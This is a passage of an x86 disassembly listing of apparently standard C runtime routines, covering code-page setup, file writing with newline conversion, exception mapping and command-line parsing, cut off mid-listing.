cmp [ebp+var_4], 4 jb short loc_42AA30 mov eax, [ebp+arg_0] mov dword_63177C, 1 push eax mov dword_631768, eax call sub_42AB55 lea esi, dword_44BDC4[esi] mov edi, offset dword_631770 movsd movsd pop ecx mov dword_631984, eax movsd jmp short loc_42AAEF ; --------------------------------------------------------------------------- loc_42AA9D: ; CODE XREF: sub_42A95E+A5j inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_42A9F0 loc_42AAA9: ; CODE XREF: sub_42A95E+89j ; sub_42A95E+96j mov eax, esi loc_42AAAB: ; CODE XREF: sub_42A95E+15Aj or byte_631881[eax], 8 inc eax cmp eax, 0FFh jb short loc_42AAAB push ebx call sub_42AB55 pop ecx mov dword_631984, eax mov dword_63177C, esi jmp short loc_42AAD5 ; --------------------------------------------------------------------------- loc_42AACE: ; CODE XREF: sub_42A95E+7Fj and dword_63177C, 0 loc_42AAD5: ; CODE XREF: sub_42A95E+16Ej xor eax, eax mov edi, offset dword_631770 stosd stosd stosd jmp short loc_42AAEF ; --------------------------------------------------------------------------- loc_42AAE1: ; CODE XREF: sub_42A95E+5Cj cmp dword_6314E8, 0 jz short loc_42AAF9 loc_42AAEA: ; CODE XREF: sub_42A95E+30j call sub_42AB88 loc_42AAEF: ; CODE XREF: sub_42A95E+13Dj ; sub_42A95E+181j call sub_42ABB1 jmp loc_42A985 ; --------------------------------------------------------------------------- loc_42AAF9: ; CODE XREF: sub_42A95E+18Aj or esi, 0FFFFFFFFh loc_42AAFC: ; CODE XREF: sub_42A95E+29j push 19h call sub_428497 pop ecx mov eax, esi pop edi pop esi pop ebx leave retn sub_42A95E endp ; =============== S U B R O U T I N E ======================================= sub_42AB0B proc near ; CODE XREF: sub_42A95E+13p arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_6314E8, 0 cmp eax, 0FFFFFFFEh jnz short loc_42AB2B mov dword_6314E8, 1 jmp dword_42F194 ; --------------------------------------------------------------------------- loc_42AB2B: ; CODE XREF: sub_42AB0B+Ej cmp eax, 0FFFFFFFDh jnz short loc_42AB40 mov dword_6314E8, 1 jmp dword_42F198 ; --------------------------------------------------------------------------- loc_42AB40: ; CODE XREF: sub_42AB0B+23j cmp eax, 0FFFFFFFCh jnz short locret_42AB54 mov eax, dword_6314D8 mov dword_6314E8, 1 locret_42AB54: ; CODE XREF: sub_42AB0B+38j retn sub_42AB0B endp ; =============== S U B R O U T I N E ======================================= sub_42AB55 proc near ; CODE XREF: sub_42A95E+124p ; sub_42A95E+15Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_42AB82 sub eax, 4 jz short loc_42AB7C sub eax, 0Dh jz short loc_42AB76 dec eax jz short loc_42AB70 xor eax, eax retn ; --------------------------------------------------------------------------- loc_42AB70: ; CODE XREF: sub_42AB55+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_42AB76: ; CODE XREF: sub_42AB55+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_42AB7C: ; CODE XREF: sub_42AB55+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_42AB82: ; CODE XREF: sub_42AB55+9j mov eax, 411h retn sub_42AB55 endp ; =============== S U B R O U T I N E ======================================= sub_42AB88 proc near ; CODE XREF: sub_42A95E:loc_42AAEAp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_631880 rep stosd stosb xor eax, eax mov edi, offset dword_631770 mov dword_631768, eax mov dword_63177C, eax mov dword_631984, eax stosd stosd stosd pop edi retn sub_42AB88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42ABB1 proc near ; CODE XREF: sub_42A95E:loc_42AAEFp var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_631768 call dword_42F19C ; GetCPInfo cmp eax, 1 jnz loc_42ACEA xor eax, eax mov esi, 100h loc_42ABDB: ; CODE XREF: sub_42ABB1+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_42ABDB mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_42AC2C push ebx push edi lea edx, [ebp+var_D] loc_42ABFA: ; CODE XREF: sub_42ABB1+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_42AC21 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_42AC21: ; CODE XREF: sub_42ABB1+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_42ABFA pop edi pop ebx loc_42AC2C: ; CODE XREF: sub_42ABB1+42j push 0 lea eax, [ebp+var_514] push dword_631984 push dword_631768 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_42BADD push 0 lea eax, [ebp+var_214] push dword_631768 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_631984 call sub_429BA7 push 0 lea eax, [ebp+var_314] push dword_631768 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_631984 call sub_429BA7 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_42ACA7: ; CODE XREF: sub_42ABB1+135j mov dx, [ecx] test dl, 1 jz short loc_42ACC5 or byte_631881[eax], 10h mov dl, [ebp+eax+var_214] loc_42ACBD: ; CODE XREF: sub_42ABB1+127j mov byte_631780[eax], dl jmp short loc_42ACE1 ; --------------------------------------------------------------------------- loc_42ACC5: ; CODE XREF: sub_42ABB1+FCj test dl, 2 jz short loc_42ACDA or byte_631881[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_42ACBD ; --------------------------------------------------------------------------- loc_42ACDA: ; CODE XREF: sub_42ABB1+117j and byte_631780[eax], 0 loc_42ACE1: ; CODE XREF: sub_42ABB1+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_42ACA7 jmp short loc_42AD33 ; --------------------------------------------------------------------------- loc_42ACEA: ; CODE XREF: sub_42ABB1+1Dj xor eax, eax mov esi, 100h loc_42ACF1: ; CODE XREF: sub_42ABB1+180j cmp eax, 41h jb short loc_42AD0F cmp eax, 5Ah ja short loc_42AD0F or byte_631881[eax], 10h mov cl, al add cl, 20h loc_42AD07: ; CODE XREF: sub_42ABB1+174j mov byte_631780[eax], cl jmp short loc_42AD2E ; --------------------------------------------------------------------------- loc_42AD0F: ; CODE XREF: sub_42ABB1+143j ; sub_42ABB1+148j cmp eax, 61h jb short loc_42AD27 cmp eax, 7Ah ja short loc_42AD27 or byte_631881[eax], 20h mov cl, al sub cl, 20h jmp short loc_42AD07 ; --------------------------------------------------------------------------- loc_42AD27: ; CODE XREF: sub_42ABB1+161j ; sub_42ABB1+166j and byte_631780[eax], 0 loc_42AD2E: ; CODE XREF: sub_42ABB1+15Cj inc eax cmp eax, esi jb short loc_42ACF1 loc_42AD33: ; CODE XREF: sub_42ABB1+137j pop esi leave retn sub_42ABB1 endp ; =============== S U B R O U T I N E ======================================= sub_42AD36 proc near ; CODE XREF: sub_42B1D5+9p ; sub_42B22D+Dp ... cmp dword_631994, 0 jnz short locret_42AD51 push 0FFFFFFFDh call sub_42A95E pop ecx mov dword_631994, 1 locret_42AD51: ; CODE XREF: sub_42AD36+7j retn sub_42AD36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AD52 proc near ; CODE XREF: sub_4245FD+2Bp ; sub_4245FD+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_63177C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_42AD76 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_4222F0 add esp, 0Ch jmp short loc_42ADE9 ; --------------------------------------------------------------------------- loc_42AD76: ; CODE XREF: sub_42AD52+11j push esi push 19h call sub_428436 mov edx, [ebp+arg_8] pop ecx test edx, edx jz short loc_42ADC3 mov ecx, [ebp+arg_4] loc_42AD89: ; CODE XREF: sub_42AD52+63j mov al, [ecx] dec edx movzx esi, al test byte_631881[esi], 4 mov [edi], al jz short loc_42ADAD inc edi inc ecx test edx, edx jz short loc_42ADB9 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_42ADBF jmp short loc_42ADB3 ; --------------------------------------------------------------------------- loc_42ADAD: ; CODE XREF: sub_42AD52+46j inc edi inc ecx test al, al jz short loc_42ADC3 loc_42ADB3: ; CODE XREF: sub_42AD52+59j test edx, edx jnz short loc_42AD89 jmp short loc_42ADC3 ; --------------------------------------------------------------------------- loc_42ADB9: ; CODE XREF: sub_42AD52+4Cj and byte ptr [edi-1], 0 jmp short loc_42ADC3 ; --------------------------------------------------------------------------- loc_42ADBF: ; CODE XREF: sub_42AD52+57j and byte ptr [edi-2], 0 loc_42ADC3: ; CODE XREF: sub_42AD52+32j ; sub_42AD52+5Fj ... mov eax, edx dec edx test eax, eax pop esi jz short loc_42ADDE lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_42ADDE: ; CODE XREF: sub_42AD52+77j push 19h call sub_428497 mov eax, [ebp+arg_0] pop ecx loc_42ADE9: ; CODE XREF: sub_42AD52+22j pop edi pop ebp retn sub_42AD52 endp ; =============== S U B R O U T I N E ======================================= sub_42ADEC proc near ; CODE XREF: sub_424828+Ej push ebx push edi push 2 xor ebx, ebx call sub_428436 pop ecx push 3 pop edi cmp dword_632B00, edi jle short loc_42AE60 push esi loc_42AE04: ; CODE XREF: sub_42ADEC+71j mov eax, dword_631AE8 mov esi, edi shl esi, 2 mov eax, [esi+eax] test eax, eax jz short loc_42AE56 test byte ptr [eax+0Ch], 83h jz short loc_42AE28 push eax call sub_422B65 cmp eax, 0FFFFFFFFh pop ecx jz short loc_42AE28 inc ebx loc_42AE28: ; CODE XREF: sub_42ADEC+2Dj ; sub_42ADEC+39j cmp edi, 14h jl short loc_42AE56 mov eax, dword_631AE8 mov eax, [esi+eax] add eax, 20h push eax call dword_42F148 ; RtlDeleteCriticalSection mov eax, dword_631AE8 push dword ptr [esi+eax] call sub_4230B3 mov eax, dword_631AE8 pop ecx and dword ptr [esi+eax], 0 loc_42AE56: ; CODE XREF: sub_42ADEC+27j ; sub_42ADEC+3Fj inc edi cmp edi, dword_632B00 jl short loc_42AE04 pop esi loc_42AE60: ; CODE XREF: sub_42ADEC+15j push 2 call sub_428497 pop ecx mov eax, ebx pop edi pop ebx retn sub_42ADEC endp ; =============== S U B R O U T I N E ======================================= sub_42AE6D proc near ; CODE XREF: sub_424C37+A2p ; sub_425014+95p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] cmp esi, dword_631AE0 jnb short loc_42AEBA mov ecx, esi mov eax, esi sar ecx, 5 and eax, 1Fh mov ecx, dword_6319E0[ecx*4] lea eax, [eax+eax*8] test byte ptr [ecx+eax*4+4], 1 jz short loc_42AEBA push edi push esi call sub_42BE86 push [esp+0Ch+arg_8] push [esp+10h+arg_4] push esi call sub_42AED2 push esi mov edi, eax call sub_42BEE5 add esp, 14h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42AEBA: ; CODE XREF: sub_42AE6D+Bj ; sub_42AE6D+26j call sub_426528 mov dword ptr [eax], 9 call sub_426531 and dword ptr [eax], 0 or eax, 0FFFFFFFFh pop esi retn sub_42AE6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AED2 proc near ; CODE XREF: sub_42AE6D+38p ; sub_42D6D7+86p var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h push ebx push esi push edi xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_42AEF2 loc_42AEEB: ; CODE XREF: sub_42AED2+169j xor eax, eax jmp loc_42B058 ; --------------------------------------------------------------------------- loc_42AEF2: ; CODE XREF: sub_42AED2+17j mov eax, [ebp+arg_0] sar eax, 5 lea ebx, ds:6319E0h[eax*4] mov eax, [ebp+arg_0] and eax, 1Fh lea esi, [eax+eax*8] mov eax, [ebx] shl esi, 2 test byte ptr [eax+esi+4], 20h jz short loc_42AF22 push 2 push edi push [ebp+arg_0] call sub_426D61 add esp, 0Ch loc_42AF22: ; CODE XREF: sub_42AED2+40j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_42AFF1 mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_42B02C loc_42AF42: ; CODE XREF: sub_42AED2+E4j lea eax, [ebp+var_414] loc_42AF48: ; CODE XREF: sub_42AED2+A8j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_42AF7C mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_42AF67 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_42AF67: ; CODE XREF: sub_42AED2+8Cj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_42AF48 loc_42AF7C: ; CODE XREF: sub_42AED2+7Fj mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_42F07C ; WriteFile test eax, eax jz short loc_42AFE6 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_42AFB8 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_42AF42 loc_42AFB8: ; CODE XREF: sub_42AED2+D9j ; sub_42AED2+11Dj xor edi, edi loc_42AFBA: ; CODE XREF: sub_42AED2+13Fj ; sub_42AED2+14Aj mov eax, [ebp+var_8] cmp eax, edi jnz loc_42B055 cmp [ebp+arg_0], edi jz short loc_42B02C push 5 pop esi cmp [ebp+arg_0], esi jnz short loc_42B01E call sub_426528 mov dword ptr [eax], 9 call sub_426531 mov [eax], esi jmp short loc_42B027 ; --------------------------------------------------------------------------- loc_42AFE6: ; CODE XREF: sub_42AED2+CFj call dword_42F068 ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_42AFB8 ; --------------------------------------------------------------------------- loc_42AFF1: ; CODE XREF: sub_42AED2+58j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call dword_42F07C ; WriteFile test eax, eax jz short loc_42B013 mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_42AFBA ; --------------------------------------------------------------------------- loc_42B013: ; CODE XREF: sub_42AED2+134j call dword_42F068 ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_42AFBA ; --------------------------------------------------------------------------- loc_42B01E: ; CODE XREF: sub_42AED2+FEj push [ebp+arg_0] call sub_4264B5 pop ecx loc_42B027: ; CODE XREF: sub_42AED2+112j ; sub_42AED2+181j or eax, 0FFFFFFFFh jmp short loc_42B058 ; --------------------------------------------------------------------------- loc_42B02C: ; CODE XREF: sub_42AED2+6Aj ; sub_42AED2+F6j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_42B041 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_42AEEB loc_42B041: ; CODE XREF: sub_42AED2+161j call sub_426528 mov dword ptr [eax], 1Ch call sub_426531 mov [eax], edi jmp short loc_42B027 ; --------------------------------------------------------------------------- loc_42B055: ; CODE XREF: sub_42AED2+EDj sub eax, [ebp+var_10] loc_42B058: ; CODE XREF: sub_42AED2+1Bj ; sub_42AED2+158j pop edi pop esi pop ebx leave retn sub_42AED2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B05D proc near ; CODE XREF: .text:00424FB8p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi call sub_42599D mov esi, eax push dword ptr [esi+50h] push [ebp+arg_0] call sub_42B19B pop ecx test eax, eax pop ecx jz loc_42B18E mov ebx, [eax+8] test ebx, ebx mov [ebp+arg_0], ebx jz loc_42B18E cmp ebx, 5 jnz short loc_42B09E and dword ptr [eax+8], 0 push 1 pop eax jmp loc_42B197 ; --------------------------------------------------------------------------- loc_42B09E: ; CODE XREF: sub_42B05D+33j cmp ebx, 1 jz loc_42B189 mov ecx, [esi+54h] mov [ebp+var_4], ecx mov ecx, [ebp+arg_4] mov [esi+54h], ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_42B17B mov edx, dword_44BF28 mov ecx, dword_44BF2C add ecx, edx push edi cmp edx, ecx jge short loc_42B0F9 lea ecx, [edx+edx*2] shl ecx, 2 loc_42B0D8: ; CODE XREF: sub_42B05D+97j mov edi, [esi+50h] add ecx, 0Ch and dword ptr [ecx+edi-4], 0 mov edi, dword_44BF28 mov ebx, dword_44BF2C inc edx add ebx, edi cmp edx, ebx jl short loc_42B0D8 mov ebx, [ebp+arg_0] loc_42B0F9: ; CODE XREF: sub_42B05D+73j mov eax, [eax] mov edi, [esi+58h] cmp eax, 0C000008Eh jnz short loc_42B10E mov dword ptr [esi+58h], 83h jmp short loc_42B16C ; --------------------------------------------------------------------------- loc_42B10E: ; CODE XREF: sub_42B05D+A6j cmp eax, 0C0000090h jnz short loc_42B11E mov dword ptr [esi+58h], 81h jmp short loc_42B16C ; --------------------------------------------------------------------------- loc_42B11E: ; CODE XREF: sub_42B05D+B6j cmp eax, 0C0000091h jnz short loc_42B12E mov dword ptr [esi+58h], 84h jmp short loc_42B16C ; --------------------------------------------------------------------------- loc_42B12E: ; CODE XREF: sub_42B05D+C6j cmp eax, 0C0000093h jnz short loc_42B13E mov dword ptr [esi+58h], 85h jmp short loc_42B16C ; --------------------------------------------------------------------------- loc_42B13E: ; CODE XREF: sub_42B05D+D6j cmp eax, 0C000008Dh jnz short loc_42B14E mov dword ptr [esi+58h], 82h jmp short loc_42B16C ; --------------------------------------------------------------------------- loc_42B14E: ; CODE XREF: sub_42B05D+E6j cmp eax, 0C000008Fh jnz short loc_42B15E mov dword ptr [esi+58h], 86h jmp short loc_42B16C ; --------------------------------------------------------------------------- loc_42B15E: ; CODE XREF: sub_42B05D+F6j cmp eax, 0C0000092h jnz short loc_42B16C mov dword ptr [esi+58h], 8Ah loc_42B16C: ; CODE XREF: sub_42B05D+AFj ; sub_42B05D+BFj ... push dword ptr [esi+58h] push 8 call ebx pop ecx mov [esi+58h], edi pop ecx pop edi jmp short loc_42B183 ; --------------------------------------------------------------------------- loc_42B17B: ; CODE XREF: sub_42B05D+5Cj and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_42B183: ; CODE XREF: sub_42B05D+11Cj mov eax, [ebp+var_4] mov [esi+54h], eax loc_42B189: ; CODE XREF: sub_42B05D+44j or eax, 0FFFFFFFFh jmp short loc_42B197 ; --------------------------------------------------------------------------- loc_42B18E: ; CODE XREF: sub_42B05D+1Cj ; sub_42B05D+2Aj push [ebp+arg_4] call dword_42F190 ; UnhandledExceptionFilter loc_42B197: ; CODE XREF: sub_42B05D+3Cj ; sub_42B05D+12Fj pop esi pop ebx leave retn sub_42B05D endp ; =============== S U B R O U T I N E ======================================= sub_42B19B proc near ; CODE XREF: sub_42B05D+13p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov ecx, dword_44BF34 push esi mov esi, [esp+4+arg_0] cmp [edx], esi push edi mov eax, edx jz short loc_42B1C2 lea edi, [ecx+ecx*2] lea edi, [edx+edi*4] loc_42B1B7: ; CODE XREF: sub_42B19B+25j add eax, 0Ch cmp eax, edi jnb short loc_42B1C2 cmp [eax], esi jnz short loc_42B1B7 loc_42B1C2: ; CODE XREF: sub_42B19B+14j ; sub_42B19B+21j lea ecx, [ecx+ecx*2] lea ecx, [edx+ecx*4] cmp eax, ecx jnb short loc_42B1D0 cmp [eax], esi jz short loc_42B1D2 loc_42B1D0: ; CODE XREF: sub_42B19B+2Fj xor eax, eax loc_42B1D2: ; CODE XREF: sub_42B19B+33j pop edi pop esi retn sub_42B19B endp ; =============== S U B R O U T I N E ======================================= sub_42B1D5 proc near ; CODE XREF: .text:00424F7Ap cmp dword_631994, 0 jnz short loc_42B1E3 call sub_42AD36 loc_42B1E3: ; CODE XREF: sub_42B1D5+7j push esi mov esi, dword_631AE4 mov al, [esi] cmp al, 22h jnz short loc_42B215 loc_42B1F0: ; CODE XREF: sub_42B1D5+33j ; sub_42B1D5+36j mov al, [esi+1] inc esi cmp al, 22h jz short loc_42B20D test al, al jz short loc_42B20D movzx eax, al push eax call sub_42D60C test eax, eax pop ecx jz short loc_42B1F0 inc esi jmp short loc_42B1F0 ; --------------------------------------------------------------------------- loc_42B20D: ; CODE XREF: sub_42B1D5+21j ; sub_42B1D5+25j cmp byte ptr [esi], 22h jnz short loc_42B21F loc_42B212: ; CODE XREF: sub_42B1D5+52j inc esi jmp short loc_42B21F ; --------------------------------------------------------------------------- loc_42B215: ; CODE XREF: sub_42B1D5+19j cmp al, 20h jbe short loc_42B21F loc_42B219: ; CODE XREF: sub_42B1D5+48j inc esi cmp byte ptr [esi], 20h ja short loc_42B219 loc_42B21F: ; CODE XREF: sub_42B1D5+3Bj ; sub_42B1D5+3Ej ... mov al, [esi] test al, al jz short loc_42B229 cmp al, 20h jbe short loc_42B212 loc_42B229: ; CODE XREF: sub_42B1D5+4Ej mov eax, esi pop esi retn sub_42B1D5 endp ; =============== S U B R O U T I N E ======================================= sub_42B22D proc near ; CODE XREF: .text:00424F63p push ebx xor ebx, ebx cmp dword_631994, ebx push esi push edi jnz short loc_42B23F call sub_42AD36 loc_42B23F: ; CODE XREF: sub_42B22D+Bj mov esi, dword_6313EC xor edi, edi loc_42B247: ; CODE XREF: sub_42B22D+30j mov al, [esi] cmp al, bl jz short loc_42B25F cmp al, 3Dh jz short loc_42B252 inc edi loc_42B252: ; CODE XREF: sub_42B22D+22j push esi call sub_422120 pop ecx lea esi, [esi+eax+1] jmp short loc_42B247 ; --------------------------------------------------------------------------- loc_42B25F: ; CODE XREF: sub_42B22D+1Ej lea eax, ds:4[edi*4] push eax call sub_422F79 mov esi, eax pop ecx cmp esi, ebx mov dword_631488, esi jnz short loc_42B281 push 9 call sub_424FCB pop ecx loc_42B281: ; CODE XREF: sub_42B22D+4Aj mov edi, dword_6313EC cmp [edi], bl jz short loc_42B2C4 push ebp loc_42B28C: ; CODE XREF: sub_42B22D+94j push edi call sub_422120 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_42B2BD push ebp call sub_422F79 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_42B2B0 push 9 call sub_424FCB pop ecx loc_42B2B0: ; CODE XREF: sub_42B22D+79j push edi push dword ptr [esi] call sub_423260 pop ecx add esi, 4 pop ecx loc_42B2BD: ; CODE XREF: sub_42B22D+6Cj add edi, ebp cmp [edi], bl jnz short loc_42B28C pop ebp loc_42B2C4: ; CODE XREF: sub_42B22D+5Cj push dword_6313EC call sub_4230B3 pop ecx mov dword_6313EC, ebx mov [esi], ebx pop edi pop esi mov dword_631990, 1 pop ebx retn sub_42B22D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B2E6 proc near ; CODE XREF: .text:00424F5Ep var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_631994, ebx push esi push edi jnz short loc_42B2FD call sub_42AD36 loc_42B2FD: ; CODE XREF: sub_42B2E6+10j mov esi, offset dword_6314EC push 104h push esi push ebx call dword_42F154 ; GetModuleFileNameA mov eax, dword_631AE4 mov dword_631498, esi mov edi, esi cmp [eax], bl jz short loc_42B322 mov edi, eax loc_42B322: ; CODE XREF: sub_42B2E6+38j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push ebx push ebx push edi call sub_42B37F mov eax, [ebp+var_8] mov ecx, [ebp+var_4] lea eax, [eax+ecx*4] push eax call sub_422F79 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_42B352 push 8 call sub_424FCB pop ecx loc_42B352: ; CODE XREF: sub_42B2E6+62j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [esi+eax*4] push eax push esi push edi call sub_42B37F mov eax, [ebp+var_4] add esp, 14h dec eax mov dword_631480, esi pop edi pop esi mov dword_63147C, eax pop ebx leave retn sub_42B2E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B37F proc near ; CODE XREF: sub_42B2E6+47p ; sub_42B2E6+7Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_42B3A9 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_42B3A9: ; CODE XREF: sub_42B37F+20j cmp byte ptr [eax], 22h jnz short loc_42B3F2 loc_42B3AE: ; CODE XREF: sub_42B37F+58j ; sub_42B37F+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_42B3E0 test dl, dl jz short loc_42B3E0 movzx edx, dl test byte_631881[edx], 4 jz short loc_42B3D3 inc dword ptr [ecx] test esi, esi jz short loc_42B3D3 mov dl, [eax] mov [esi], dl inc esi inc eax loc_42B3D3: ; CODE XREF: sub_42B37F+46j ; sub_42B37F+4Cj inc dword ptr [ecx] test esi, esi jz short loc_42B3AE mov dl, [eax] mov [esi], dl inc esi jmp short loc_42B3AE ; --------------------------------------------------------------------------- loc_42B3E0: ; CODE XREF: sub_42B37F+36j ; sub_42B37F+3Aj inc dword ptr [ecx] test esi, esi jz short loc_42B3EA and byte ptr [esi], 0 inc esi loc_42B3EA: ; CODE XREF: sub_42B37F+65j cmp byte ptr [eax], 22h jnz short loc_42B435 inc eax jmp short loc_42B435 ; --------------------------------------------------------------------------- loc_42B3F2: ; CODE XREF: sub_42B37F+2Dj ; sub_42B37F+A5j inc dword ptr [ecx] test esi, esi jz short loc_42B3FD mov dl, [eax] mov [esi], dl inc esi loc_42B3FD: ; CODE XREF: sub_42B37F+77j mov dl, [eax] inc eax movzx ebx, dl test byte_631881[ebx], 4 jz short loc_42B418 inc dword ptr [ecx] test esi, esi jz short loc_42B417 mov bl, [eax] mov [esi], bl inc esi loc_42B417: ; CODE XREF: sub_42B37F+91j inc eax loc_42B418: ; CODE XREF: sub_42B37F+8Bj cmp dl, 20h jz short loc_42B426 test dl, dl jz short loc_42B42A cmp dl, 9 jnz short loc_42B3F2 loc_42B426: ; CODE XREF: sub_42B37F+9Cj test dl, dl jnz short loc_42B42D loc_42B42A: ; CODE XREF: sub_42B37F+A0j dec eax jmp short loc_42B435 ; --------------------------------------------------------------------------- loc_42B42D: ; CODE XREF: sub_42B37F+A9j test esi, esi jz short loc_42B435 and byte ptr [esi-1], 0 loc_42B435: ; CODE XREF: sub_42B37F+6Ej ; sub_42B37F+71j ... and [ebp+arg_10], 0 loc_42B439: ; CODE XREF: sub_42B37F+19Ej cmp byte ptr [eax], 0 jz loc_42B522 loc_42B442: ; CODE XREF: sub_42B37F+D0j mov dl, [eax] cmp dl, 20h jz short loc_42B44E cmp dl, 9 jnz short loc_42B451 loc_42B44E: ; CODE XREF: sub_42B37F+C8j inc eax jmp short loc_42B442 ; --------------------------------------------------------------------------- loc_42B451: ; CODE XREF: sub_42B37F+CDj cmp byte ptr [eax], 0 jz loc_42B522 test edi, edi jz short loc_42B466 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_42B466: ; CODE XREF: sub_42B37F+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_42B46B: ; CODE XREF: sub_42B37F+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_42B474: ; CODE XREF: sub_42B37F+FCj cmp byte ptr [eax], 5Ch jnz short loc_42B47D inc eax inc ebx jmp short loc_42B474 ; --------------------------------------------------------------------------- loc_42B47D: ; CODE XREF: sub_42B37F+F8j cmp byte ptr [eax], 22h jnz short loc_42B4AE test bl, 1 jnz short loc_42B4AC xor edi, edi cmp [ebp+arg_10], edi jz short loc_42B49B cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_42B49B mov eax, edx jmp short loc_42B49E ; --------------------------------------------------------------------------- loc_42B49B: ; CODE XREF: sub_42B37F+10Dj ; sub_42B37F+116j mov [ebp+arg_0], edi loc_42B49E: ; CODE XREF: sub_42B37F+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_42B4AC: ; CODE XREF: sub_42B37F+106j shr ebx, 1 loc_42B4AE: ; CODE XREF: sub_42B37F+101j mov edx, ebx dec ebx test edx, edx jz short loc_42B4C3 inc ebx loc_42B4B6: ; CODE XREF: sub_42B37F+142j test esi, esi jz short loc_42B4BE mov byte ptr [esi], 5Ch inc esi loc_42B4BE: ; 